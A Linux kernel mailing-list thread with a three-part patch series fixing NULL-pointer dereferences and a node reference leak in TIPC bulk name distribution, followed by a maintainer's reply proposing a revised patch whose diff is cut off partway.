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* [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
       [not found] <20260718092544.785289-1-bestswngs@gmail.com>
@ 2026-07-18  9:25 ` Weiming Shi
  2026-07-20 15:41   ` Tung Quang Nguyen
  2026-07-18  9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi
  2026-07-18  9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi
  2 siblings, 1 reply; 14+ messages in thread
From: Weiming Shi @ 2026-07-18  9:25 UTC (permalink / raw)
  To: Jon Maloy, Tung Nguyen, netdev, tipc-discussion
  Cc: Xiang Mei, Weiming Shi, kernel test robot, David S. Miller,
	Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman,
	Hoang Huu Le, linux-kernel

[The defer-to-workqueue approach is by Tung Nguyen. He posted it
 on the thread and asked us to test it, as the replacement for the
 item-less bulk approach. Since the RFC only exists as an inline
 diff in the thread, it is folded into this series so the fix is
 self-contained.]

named_distribute() stamps the last_bulk flag on the tail skb of the
publication list. When the list is empty no skb is enqueued and the
tail access dereferences NULL. tipc_named_node_up() hits this on an
empty cluster_scope, which happens with a node-id configuration where
cluster_scope is populated only later by tipc_net_finalize(). It is
reachable by an unprivileged user over a UDP bearer in a user+net
namespace. The reported crash:

 KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df]
 RIP: 0010:tipc_named_node_up (net/tipc/name_distr.c:196)
  tipc_named_node_up (net/tipc/name_distr.c:196 net/tipc/name_distr.c:221)
  tipc_node_write_unlock (net/tipc/node.c:428)
  tipc_rcv (net/tipc/node.c:2185)
  tipc_udp_recv (net/tipc/udp_media.c:392)
 Kernel panic - not syncing: Fatal exception in interrupt

When cluster_scope is empty at node-up, defer the bulk distribution
to a workqueue and wait for tipc_net_finalize() to publish the
node-state name, so named_distribute() always runs on a non-empty
list. On allocation failure, purge the partially built queue and
bring the link down so the bulk distribution restarts when the link
comes up again.

Fixes: cad2929dc432 ("tipc: update a binding service via broadcast")
Reported-by: Xiang Mei <xmei5@asu.edu>
Reported-by: kernel test robot <lkp@intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202607180730.TwVgASDI-lkp@intel.com/
Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
Tested-by: Weiming Shi <bestswngs@gmail.com>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 net/tipc/core.c       |  1 +
 net/tipc/core.h       |  2 ++
 net/tipc/name_distr.c | 48 +++++++++++++++++++++++++++++++++++++++----
 net/tipc/name_distr.h |  3 ++-
 net/tipc/net.c        |  2 ++
 net/tipc/node.c       | 34 ++++++++++++++++++++++++++++--
 6 files changed, 83 insertions(+), 7 deletions(-)

diff --git a/net/tipc/core.c b/net/tipc/core.c
index 434e70eabe08..ce164509d9e2 100644
--- a/net/tipc/core.c
+++ b/net/tipc/core.c
@@ -60,6 +60,7 @@ static int __net_init tipc_init_net(struct net *net)
 	tn->trial_addr = 0;
 	tn->addr_trial_end = 0;
 	tn->capabilities = TIPC_NODE_CAPABILITIES;
+	atomic_set(&tn->finalized, 0);
 	INIT_WORK(&tn->work, tipc_net_finalize_work);
 	memset(tn->node_id, 0, sizeof(tn->node_id));
 	memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
diff --git a/net/tipc/core.h b/net/tipc/core.h
index 9ce5f9ff6cc0..76768844c808 100644
--- a/net/tipc/core.h
+++ b/net/tipc/core.h
@@ -145,6 +145,8 @@ struct tipc_net {
 	struct work_struct work;
 	/* The numbers of work queues in schedule */
 	atomic_t wq_count;
+	/* flag to indicate work has finished */
+	atomic_t finalized;
 };
 
 static inline struct tipc_net *tipc_net(struct net *net)
diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
index 190b49c5cbc3..b764274df758 100644
--- a/net/tipc/name_distr.c
+++ b/net/tipc/name_distr.c
@@ -147,7 +147,7 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
  * @pls: linked list of publication items to be packed into buffer chain
  * @seqno: sequence number for this message
  */
-static void named_distribute(struct net *net, struct sk_buff_head *list,
+static int named_distribute(struct net *net, struct sk_buff_head *list,
 			     u32 dnode, struct list_head *pls, u16 seqno)
 {
 	struct publication *publ;
@@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
 			skb = named_prepare_buf(net, PUBLICATION, msg_rem,
 						dnode);
 			if (!skb) {
+				__skb_queue_purge(list);
 				pr_warn("Bulk publication failure\n");
-				return;
+				return 1;
 			}
 			hdr = buf_msg(skb);
 			msg_set_bc_ack_invalid(hdr, true);
@@ -195,6 +196,8 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
 	hdr = buf_msg(skb_peek_tail(list));
 	msg_set_last_bulk(hdr);
 	msg_set_named_seqno(hdr, seqno);
+
+	return 0;
 }
 
 /**
@@ -203,7 +206,7 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
  * @dnode: destination node
  * @capabilities: peer node's capabilities
  */
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
 {
 	struct name_table *nt = tipc_name_table(net);
 	struct tipc_net *tn = tipc_net(net);
@@ -218,9 +221,46 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
 	spin_unlock_bh(&tn->nametbl_lock);
 
 	read_lock_bh(&nt->cluster_scope_lock);
-	named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
+	/* tipc_net_finalize_work() has not finished inserting self address to
+	 * name table yet.
+	 */
+	if (unlikely(list_empty(&nt->cluster_scope))) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return 1;
+	}
+
+	if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return -ENOBUFS;
+	}
+
 	tipc_node_xmit(net, &head, dnode, 0);
 	read_unlock_bh(&nt->cluster_scope_lock);
+	return 0;
+}
+
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
+{
+	struct name_table *nt = tipc_name_table(net);
+	struct tipc_net *tn = tipc_net(net);
+	struct sk_buff_head head;
+	u16 seqno;
+
+	__skb_queue_head_init(&head);
+	wait_var_event(&tn->finalized, atomic_read(&tn->finalized));
+	spin_lock_bh(&tn->nametbl_lock);
+	seqno = nt->snd_nxt;
+	spin_unlock_bh(&tn->nametbl_lock);
+
+	read_lock_bh(&nt->cluster_scope_lock);
+	if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return -ENOBUFS;
+	}
+	tipc_node_xmit(net, &head, dnode, 0);
+	read_unlock_bh(&nt->cluster_scope_lock);
+
+	return 0;
 }
 
 /**
diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
index c677f6f082df..cadf4e8c3e66 100644
--- a/net/tipc/name_distr.h
+++ b/net/tipc/name_distr.h
@@ -69,7 +69,8 @@ struct distr_item {
 
 struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
 struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
 void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
 		    u16 *rcv_nxt, bool *open);
 void tipc_named_reinit(struct net *net);
diff --git a/net/tipc/net.c b/net/tipc/net.c
index 7e65d0b0c4a8..4c144e720ac1 100644
--- a/net/tipc/net.c
+++ b/net/tipc/net.c
@@ -139,6 +139,8 @@ static void tipc_net_finalize(struct net *net, u32 addr)
 	tipc_sk_reinit(net);
 	tipc_mon_reinit_self(net);
 	tipc_nametbl_publish(net, &ua, &sk, addr);
+	atomic_inc(&tn->finalized);
+	wake_up_var(&tn->finalized);
 }
 
 void tipc_net_finalize_work(struct work_struct *work)
diff --git a/net/tipc/node.c b/net/tipc/node.c
index 97aa970a0d83..f757722d15be 100644
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -111,6 +111,7 @@ struct tipc_bclink_entry {
  * @peer_net: peer's net namespace
  * @peer_hash_mix: hash for this peer (FIXME)
  * @crypto_rx: RX crypto handler
+ * @work: work item for bulk distribution of cluster scope publications
  */
 struct tipc_node {
 	u32 addr;
@@ -145,6 +146,7 @@ struct tipc_node {
 #ifdef CONFIG_TIPC_CRYPTO
 	struct tipc_crypto *crypto_rx;
 #endif
+	struct work_struct work;
 };
 
 /* Node FSM states and events:
@@ -303,6 +305,7 @@ static void tipc_node_free(struct rcu_head *rp)
 #ifdef CONFIG_TIPC_CRYPTO
 	tipc_crypto_stop(&n->crypto_rx);
 #endif
+	cancel_work_sync(&n->work);
 	kfree(n);
 }
 
@@ -393,6 +396,19 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
 	write_unlock_bh(&n->lock);
 }
 
+static void tipc_node_dist_bulk(struct work_struct *work)
+{
+	struct tipc_node *node = container_of(work, struct tipc_node, work);
+
+	if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0) {
+		u32 bearer_id = node->link_id & 0xffff;
+
+		tipc_node_link_down(node, bearer_id, false);
+	}
+
+	tipc_node_put(node);
+}
+
 static void tipc_node_write_unlock(struct tipc_node *n)
 	__releases(n->lock)
 {
@@ -424,8 +440,21 @@ static void tipc_node_write_unlock(struct tipc_node *n)
 	if (flags & TIPC_NOTIFY_NODE_DOWN)
 		tipc_publ_notify(net, publ_list, node, n->capabilities);
 
-	if (flags & TIPC_NOTIFY_NODE_UP)
-		tipc_named_node_up(net, node, n->capabilities);
+	if (flags & TIPC_NOTIFY_NODE_UP) {
+		int rc = 0;
+
+		rc = tipc_named_node_up(net, node, n->capabilities);
+		/* Defer bulk distribution to work queue */
+		if (rc > 0) {
+			tipc_node_get(n);
+			schedule_work(&n->work);
+		} else if (rc < 0) {
+			/* Bring the link down to start over bulk distribution
+			 * when the link is up again.
+			 */
+			tipc_node_link_down(n, bearer_id, false);
+		}
+	}
 
 	if (flags & TIPC_NOTIFY_LINK_UP) {
 		tipc_mon_peer_up(net, node, bearer_id);
@@ -564,6 +593,7 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
 	INIT_LIST_HEAD(&n->list);
 	INIT_LIST_HEAD(&n->publ_list);
 	INIT_LIST_HEAD(&n->conn_sks);
+	INIT_WORK(&n->work, tipc_node_dist_bulk);
 	skb_queue_head_init(&n->bc_entry.namedq);
 	skb_queue_head_init(&n->bc_entry.inputq1);
 	__skb_queue_head_init(&n->bc_entry.arrvq);
-- 
2.43.0


^ permalink raw reply	[flat|nested] 14+ messages in thread

* [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure
       [not found] <20260718092544.785289-1-bestswngs@gmail.com>
  2026-07-18  9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi
@ 2026-07-18  9:25 ` Weiming Shi
  2026-07-20 15:44   ` Tung Quang Nguyen
  2026-07-18  9:25 ` [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending Weiming Shi
  2 siblings, 1 reply; 14+ messages in thread
From: Weiming Shi @ 2026-07-18  9:25 UTC (permalink / raw)
  To: Jon Maloy, Tung Nguyen, netdev, tipc-discussion
  Cc: Xiang Mei, Weiming Shi, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, kernel test robot,
	Hoang Huu Le, linux-kernel

tipc_net_finalize() does not check the return value of
tipc_nametbl_publish(). If the publish fails, for example on a
GFP_ATOMIC allocation failure, the node state name never lands in
cluster_scope, but tn->finalized is still set. A worker deferred by
tipc_named_node_up() then wakes and calls named_distribute() with an
empty list. That replays the same unguarded buf_msg(skb_peek_tail(list))
tail stamp, this time on the tipc_node_dist_bulk workqueue:

 KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf]
 RIP: 0010:named_distribute (net/tipc/name_distr.c:200)
 Workqueue: events tipc_node_dist_bulk
 Call Trace:
  tipc_named_dist_cluster_scope (net/tipc/name_distr.c:267)
  tipc_node_dist_bulk (net/tipc/node.c:403)
  process_one_work
  worker_thread
 Kernel panic - not syncing: Fatal exception in interrupt

Check the publish result and warn on failure, but still set finalized,
otherwise deferred workers would sleep forever. In
tipc_named_dist_cluster_scope() re-check cluster_scope after the wait
and skip the distribution when it is empty. This is a permanent
condition, so return 0 instead of an error, otherwise the link would
be bounced forever. Also guard the tail stamp in named_distribute()
itself, so a caller that misses the precondition gets a warning and a
link reset through the existing -ENOBUFS path instead of a crash.

Reproducing this needs an allocation failure during finalize, so I
verified it by stubbing out the publish call: both nodes log the
failure, the workers skip the distribution, no crash, no link flap.
The normal path is unchanged with the same two-node test.

Fixes: cad2929dc432 ("tipc: update a binding service via broadcast")
Reported-by: Xiang Mei <xmei5@asu.edu>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 net/tipc/name_distr.c | 11 +++++++++++
 net/tipc/net.c        |  3 ++-
 2 files changed, 13 insertions(+), 1 deletion(-)

diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
index b764274df758..5b0fb09226fc 100644
--- a/net/tipc/name_distr.c
+++ b/net/tipc/name_distr.c
@@ -193,6 +193,10 @@ static int named_distribute(struct net *net, struct sk_buff_head *list,
 		skb_trim(skb, INT_H_SIZE + (msg_dsz - msg_rem));
 		__skb_queue_tail(list, skb);
 	}
+	if (skb_queue_empty(list)) {
+		pr_warn("Bulk publication list empty, nothing to distribute\n");
+		return 1;
+	}
 	hdr = buf_msg(skb_peek_tail(list));
 	msg_set_last_bulk(hdr);
 	msg_set_named_seqno(hdr, seqno);
@@ -253,6 +257,13 @@ int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
 	spin_unlock_bh(&tn->nametbl_lock);
 
 	read_lock_bh(&nt->cluster_scope_lock);
+	if (unlikely(list_empty(&nt->cluster_scope))) {
+		/* finalize is done but nothing was published (publish
+		 * failed): a permanent state, nothing to synchronize.
+		 */
+		read_unlock_bh(&nt->cluster_scope_lock);
+		return 0;
+	}
 	if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
 		read_unlock_bh(&nt->cluster_scope_lock);
 		return -ENOBUFS;
diff --git a/net/tipc/net.c b/net/tipc/net.c
index 4c144e720ac1..2aa8812c551a 100644
--- a/net/tipc/net.c
+++ b/net/tipc/net.c
@@ -138,7 +138,8 @@ static void tipc_net_finalize(struct net *net, u32 addr)
 	tipc_named_reinit(net);
 	tipc_sk_reinit(net);
 	tipc_mon_reinit_self(net);
-	tipc_nametbl_publish(net, &ua, &sk, addr);
+	if (!tipc_nametbl_publish(net, &ua, &sk, addr))
+		pr_warn("Failed to publish own node state\n");
 	atomic_inc(&tn->finalized);
 	wake_up_var(&tn->finalized);
 }
-- 
2.43.0


^ permalink raw reply	[flat|nested] 14+ messages in thread

* [PATCH net v8 3/3] tipc: fix node reference leak when defer work is already pending
       [not found] <20260718092544.785289-1-bestswngs@gmail.com>
  2026-07-18  9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi
  2026-07-18  9:25 ` [PATCH net v8 2/3] tipc: fix NULL deref in deferred bulk distribution on publish failure Weiming Shi
@ 2026-07-18  9:25 ` Weiming Shi
  2026-07-20 15:45   ` Tung Quang Nguyen
  2 siblings, 1 reply; 14+ messages in thread
From: Weiming Shi @ 2026-07-18  9:25 UTC (permalink / raw)
  To: Jon Maloy, Tung Nguyen, netdev, tipc-discussion
  Cc: Xiang Mei, Weiming Shi, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel

In tipc_node_write_unlock(), TIPC_NOTIFY_NODE_UP with an empty
cluster_scope takes a node reference and schedules n->work. If the
link flaps down and up while that work is still pending, the next
NODE_UP takes another reference, but schedule_work() returns false
and the extra reference is never dropped. The tipc_node structure
leaks.

Verified by flapping the bearer while the work is pending: one
reference is leaked per repeated NODE_UP, while the work is put only
once when it finally runs.

Drop the reference when the work was already queued.

Reported-by: Xiang Mei <xmei5@asu.edu>
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 net/tipc/node.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/net/tipc/node.c b/net/tipc/node.c
index f757722d15be..f826347b5870 100644
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -447,7 +447,8 @@ static void tipc_node_write_unlock(struct tipc_node *n)
 		/* Defer bulk distribution to work queue */
 		if (rc > 0) {
 			tipc_node_get(n);
-			schedule_work(&n->work);
+			if (!schedule_work(&n->work))
+				tipc_node_put(n);
 		} else if (rc < 0) {
 			/* Bring the link down to start over bulk distribution
 			 * when the link is up again.
-- 
2.43.0


^ permalink raw reply	[flat|nested] 14+ messages in thread

* RE: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list
  2026-07-18  9:25 ` [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on empty publication list Weiming Shi
@ 2026-07-20 15:41   ` Tung Quang Nguyen
  2026-07-21  3:06     ` Weiming Shi
  0 siblings, 1 reply; 14+ messages in thread
From: Tung Quang Nguyen @ 2026-07-20 15:41 UTC (permalink / raw)
  To: Weiming Shi
  Cc: Xiang Mei, kernel test robot, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, linux-kernel,
	Jon Maloy, netdev, tipc-discussion

>Subject: [PATCH net v8 1/3] tipc: fix NULL deref in tipc_named_node_up() on
>empty publication list
>
>[The defer-to-workqueue approach is by Tung Nguyen. He posted it  on the
>thread and asked us to test it, as the replacement for the  item-less bulk
>approach. Since the RFC only exists as an inline  diff in the thread, it is folded
>into this series so the fix is  self-contained.]
>
>named_distribute() stamps the last_bulk flag on the tail skb of the publication
>list. When the list is empty no skb is enqueued and the tail access dereferences
>NULL. tipc_named_node_up() hits this on an empty cluster_scope, which
>happens with a node-id configuration where cluster_scope is populated only
>later by tipc_net_finalize(). It is reachable by an unprivileged user over a UDP
>bearer in a user+net namespace. The reported crash:
>
> KASAN: null-ptr-deref in range [0x00000000000000d8-0x00000000000000df]
> RIP: 0010:tipc_named_node_up (net/tipc/name_distr.c:196)
>  tipc_named_node_up (net/tipc/name_distr.c:196 net/tipc/name_distr.c:221)
>  tipc_node_write_unlock (net/tipc/node.c:428)
>  tipc_rcv (net/tipc/node.c:2185)
>  tipc_udp_recv (net/tipc/udp_media.c:392)  Kernel panic - not syncing: Fatal
>exception in interrupt
>
>When cluster_scope is empty at node-up, defer the bulk distribution to a
>workqueue and wait for tipc_net_finalize() to publish the node-state name, so
>named_distribute() always runs on a non-empty list. On allocation failure,
>purge the partially built queue and bring the link down so the bulk distribution
>restarts when the link comes up again.
>
>Fixes: cad2929dc432 ("tipc: update a binding service via broadcast")
>Reported-by: Xiang Mei <xmei5@asu.edu>
>Reported-by: kernel test robot <lkp@intel.com>
>Closes: https://lore.kernel.org/oe-kbuild-all/202607180730.TwVgASDI-
>lkp@intel.com/
>Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
>Tested-by: Weiming Shi <bestswngs@gmail.com>
>Signed-off-by: Weiming Shi <bestswngs@gmail.com>
>---
sashiko reports many critical/high issues: https://sashiko.dev/#/patchset/20260718092544.785289-1-bestswngs%40gmail.com

I address all in below patch. Could you please test it ?

---
 net/tipc/core.c       |  2 ++
 net/tipc/core.h       |  4 +++
 net/tipc/name_distr.c | 67 +++++++++++++++++++++++++++++++++++++------
 net/tipc/name_distr.h |  3 +-
 net/tipc/net.c        | 15 +++++++++-
 net/tipc/node.c       | 61 +++++++++++++++++++++++++++++++++++++--
 6 files changed, 139 insertions(+), 13 deletions(-)

diff --git a/net/tipc/core.c b/net/tipc/core.c
index 315975c3be81..52544b805dcc 100644
--- a/net/tipc/core.c
+++ b/net/tipc/core.c
@@ -61,6 +61,8 @@ static int __net_init tipc_init_net(struct net *net)
        tn->trial_addr = 0;
        tn->addr_trial_end = 0;
        tn->capabilities = TIPC_NODE_CAPABILITIES;
+       atomic_set(&tn->finalized, 0);
+       atomic_set(&tn->work_rescheduled, 0);
        INIT_WORK(&tn->work, tipc_net_finalize_work);
        memset(tn->node_id, 0, sizeof(tn->node_id));
        memset(tn->node_id_string, 0, sizeof(tn->node_id_string));
diff --git a/net/tipc/core.h b/net/tipc/core.h
index 9ce5f9ff6cc0..52fdb9189cc3 100644
--- a/net/tipc/core.h
+++ b/net/tipc/core.h
@@ -145,6 +145,10 @@ struct tipc_net {
        struct work_struct work;
        /* The numbers of work queues in schedule */
        atomic_t wq_count;
+       /* flag to indicate work has finished */
+       atomic_t finalized;
+       /* flag to reschedule work */
+       atomic_t work_rescheduled;
 };

 static inline struct tipc_net *tipc_net(struct net *net)
diff --git a/net/tipc/name_distr.c b/net/tipc/name_distr.c
index ba4f4906e13b..3e32445cfbd0 100644
--- a/net/tipc/name_distr.c
+++ b/net/tipc/name_distr.c
@@ -147,8 +147,8 @@ struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *p)
  * @pls: linked list of publication items to be packed into buffer chain
  * @seqno: sequence number for this message
  */
-static void named_distribute(struct net *net, struct sk_buff_head *list,
-                            u32 dnode, struct list_head *pls, u16 seqno)
+static int named_distribute(struct net *net, struct sk_buff_head *list,
+                           u32 dnode, struct list_head *pls, u16 seqno)
 {
        struct publication *publ;
        struct sk_buff *skb = NULL;
@@ -164,8 +164,9 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
                        skb = named_prepare_buf(net, PUBLICATION, msg_rem,
                                                dnode);
                        if (!skb) {
+                               __skb_queue_purge(list);
                                pr_warn("Bulk publication failure\n");
-                               return;
+                               return 1;
                        }
                        hdr = buf_msg(skb);
                        msg_set_bc_ack_invalid(hdr, true);
@@ -195,15 +196,16 @@ static void named_distribute(struct net *net, struct sk_buff_head *list,
        hdr = buf_msg(skb_peek_tail(list));
        msg_set_last_bulk(hdr);
        msg_set_named_seqno(hdr, seqno);
+
+       return 0;
 }

 /**
- * tipc_named_node_up - tell specified node about all publications by this node
+ * tipc_named_distribute - distribute all publications to specified node
  * @net: the associated network namespace
  * @dnode: destination node
- * @capabilities: peer node's capabilities
  */
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+static int tipc_named_distribute(struct net *net, u32 dnode)
 {
        struct name_table *nt = tipc_name_table(net);
        struct tipc_net *tn = tipc_net(net);
@@ -212,15 +214,62 @@ void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)

        __skb_queue_head_init(&head);
        spin_lock_bh(&tn->nametbl_lock);
-       if (!(capabilities & TIPC_NAMED_BCAST))
-               nt->rc_dests++;
        seqno = nt->snd_nxt;
        spin_unlock_bh(&tn->nametbl_lock);

        read_lock_bh(&nt->cluster_scope_lock);
-       named_distribute(net, &head, dnode, &nt->cluster_scope, seqno);
+       /* 1. tipc_net_finalize_work() is not scheduled because of namespace
+        *    teardown.
+        * 2. Or tipc_net_finalize() ---> tipc_nametbl_publish() has failed
+        *    to insert node self address publication to nt->cluster_scope.
+        * 3. Or tipc_net_finalize() ---> tipc_nametbl_publish() has not
+        *    executed yet.
+        */
+       if (unlikely(list_empty(&nt->cluster_scope))) {
+               read_unlock_bh(&nt->cluster_scope_lock);
+               return 1;
+       }
+
+       if (named_distribute(net, &head, dnode, &nt->cluster_scope, seqno)) {
+               read_unlock_bh(&nt->cluster_scope_lock);
+               return -ENOBUFS;
+       }
        tipc_node_xmit(net, &head, dnode, 0);
        read_unlock_bh(&nt->cluster_scope_lock);
+
+       return 0;
+}
+
+/**
+ * tipc_named_node_up - tell specified node about all publications by this node
+ * @net: the associated network namespace
+ * @dnode: destination node
+ * @capabilities: peer node's capabilities
+ */
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities)
+{
+       struct name_table *nt = tipc_name_table(net);
+       struct tipc_net *tn = tipc_net(net);
+
+       spin_lock_bh(&tn->nametbl_lock);
+       if (!(capabilities & TIPC_NAMED_BCAST))
+               nt->rc_dests++;
+       spin_unlock_bh(&tn->nametbl_lock);
+
+       return tipc_named_distribute(net, dnode);
+}
+
+/**
+ * tipc_named_dist_cluster_scope - distribute all publications to specified node
+ * @net: the associated network namespace
+ * @dnode: destination node
+ */
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode)
+{
+       struct tipc_net *tn = tipc_net(net);
+
+       wait_var_event(&tn->finalized, atomic_read(&tn->finalized));
+       return tipc_named_distribute(net, dnode);
 }

 /**
diff --git a/net/tipc/name_distr.h b/net/tipc/name_distr.h
index c677f6f082df..cadf4e8c3e66 100644
--- a/net/tipc/name_distr.h
+++ b/net/tipc/name_distr.h
@@ -69,7 +69,8 @@ struct distr_item {

 struct sk_buff *tipc_named_publish(struct net *net, struct publication *publ);
 struct sk_buff *tipc_named_withdraw(struct net *net, struct publication *publ);
-void tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_node_up(struct net *net, u32 dnode, u16 capabilities);
+int tipc_named_dist_cluster_scope(struct net *net, u32 dnode);
 void tipc_named_rcv(struct net *net, struct sk_buff_head *namedq,
                    u16 *rcv_nxt, bool *open);
 void tipc_named_reinit(struct net *net);
diff --git a/net/tipc/net.c b/net/tipc/net.c
index 7e65d0b0c4a8..78418515277e 100644
--- a/net/tipc/net.c
+++ b/net/tipc/net.c
@@ -132,13 +132,26 @@ static void tipc_net_finalize(struct net *net, u32 addr)
        tipc_uaddr(&ua, TIPC_SERVICE_RANGE, TIPC_CLUSTER_SCOPE,
                   TIPC_NODE_STATE, addr, addr);

+       if (atomic_read(&tn->work_rescheduled))
+               goto publish;
+
        if (cmpxchg(&tn->node_addr, 0, addr))
                return;
        tipc_set_node_addr(net, addr);
        tipc_named_reinit(net);
        tipc_sk_reinit(net);
        tipc_mon_reinit_self(net);
-       tipc_nametbl_publish(net, &ua, &sk, addr);
+
+publish:
+       if (!tipc_nametbl_publish(net, &ua, &sk, addr)) {
+               tn->trial_addr = addr;
+               atomic_set(&tn->work_rescheduled, 1);
+               schedule_work(&tn->work);
+               return;
+       }
+       atomic_set(&tn->work_rescheduled, 0);
+       atomic_set(&tn->finalized, 1);
+       wake_up_var(&tn->finalized);
 }

 void tipc_net_finalize_work(struct work_struct *work)
diff --git a/net/tipc/node.c b/net/tipc/node.c
index 8e4ef2630ae4..afed72894722 100644
--- a/net/tipc/node.c
+++ b/net/tipc/node.c
@@ -111,6 +111,8 @@ struct tipc_bclink_entry {
  * @peer_net: peer's net namespace
  * @peer_hash_mix: hash for this peer (FIXME)
  * @crypto_rx: RX crypto handler
+ * @work: work item for bulk distribution of cluster scope publications
+ * @work_scheduled: flag to indicate the work has been scheduled
  */
 struct tipc_node {
        u32 addr;
@@ -145,6 +147,8 @@ struct tipc_node {
 #ifdef CONFIG_TIPC_CRYPTO
        struct tipc_crypto *crypto_rx;
 #endif
+       struct work_struct work;
+       atomic_t work_scheduled;
 };

 /* Node FSM states and events:
@@ -393,6 +397,27 @@ static void tipc_node_write_unlock_fast(struct tipc_node *n)
        write_unlock_bh(&n->lock);
 }

+static void tipc_node_down(struct tipc_node *n)
+{
+       u32 bearer_id, bearer_cnt;
+
+       tipc_node_read_lock(n);
+       bearer_cnt = n->link_cnt;
+       tipc_node_read_unlock(n);
+       for (bearer_id = 0; bearer_id < bearer_cnt; bearer_id++)
+               tipc_node_link_down(n, bearer_id, false);
+}
+
+static void tipc_node_dist_bulk(struct work_struct *work)
+{
+       struct tipc_node *node = container_of(work, struct tipc_node, work);
+
+       if (tipc_named_dist_cluster_scope(node->net, node->addr) < 0)
+               tipc_node_down(node);
+
+       tipc_node_put(node);
+}
+
 static void tipc_node_write_unlock(struct tipc_node *n)
        __releases(n->lock)
 {
@@ -424,8 +449,23 @@ static void tipc_node_write_unlock(struct tipc_node *n)
        if (flags & TIPC_NOTIFY_NODE_DOWN)
                tipc_publ_notify(net, publ_list, node, n->capabilities);

-       if (flags & TIPC_NOTIFY_NODE_UP)
-               tipc_named_node_up(net, node, n->capabilities);
+       if (flags & TIPC_NOTIFY_NODE_UP) {
+               int rc = 0;
+
+               rc = tipc_named_node_up(net, node, n->capabilities);
+               /* Defer bulk distribution to work queue */
+               if (rc > 0) {
+                       atomic_set(&n->work_scheduled, 1);
+                       tipc_node_get(n);
+                       if (!schedule_work(&n->work))
+                               tipc_node_put(n);
+               } else if (rc < 0) {
+                       /* Bring the node down to start over bulk distribution
+                        * when the first link is up again.
+                        */
+                       tipc_node_down(n);
+               }
+       }

        if (flags & TIPC_NOTIFY_LINK_UP) {
                tipc_mon_peer_up(net, node, bearer_id);
@@ -564,6 +604,8 @@ struct tipc_node *tipc_node_create(struct net *net, u32 addr, u8 *peer_id,
        INIT_LIST_HEAD(&n->list);
        INIT_LIST_HEAD(&n->publ_list);
        INIT_LIST_HEAD(&n->conn_sks);
+       INIT_WORK(&n->work, tipc_node_dist_bulk);
+       atomic_set(&n->work_scheduled, 0);
        skb_queue_head_init(&n->bc_entry.namedq);
        skb_queue_head_init(&n->bc_entry.inputq1);
        __skb_queue_head_init(&n->bc_entry.arrvq);
@@ -635,10 +677,25 @@ static void tipc_node_delete_from_list(struct tipc_node *node)

 static void tipc_node_delete(struct tipc_node *node)
 {
+       struct tipc_net *tn = tipc_net(node->net);
+
        trace_tipc_node_delete(node, true, " ");
        tipc_node_delete_from_list(node);

        timer_delete_sync(&node->timer);
+
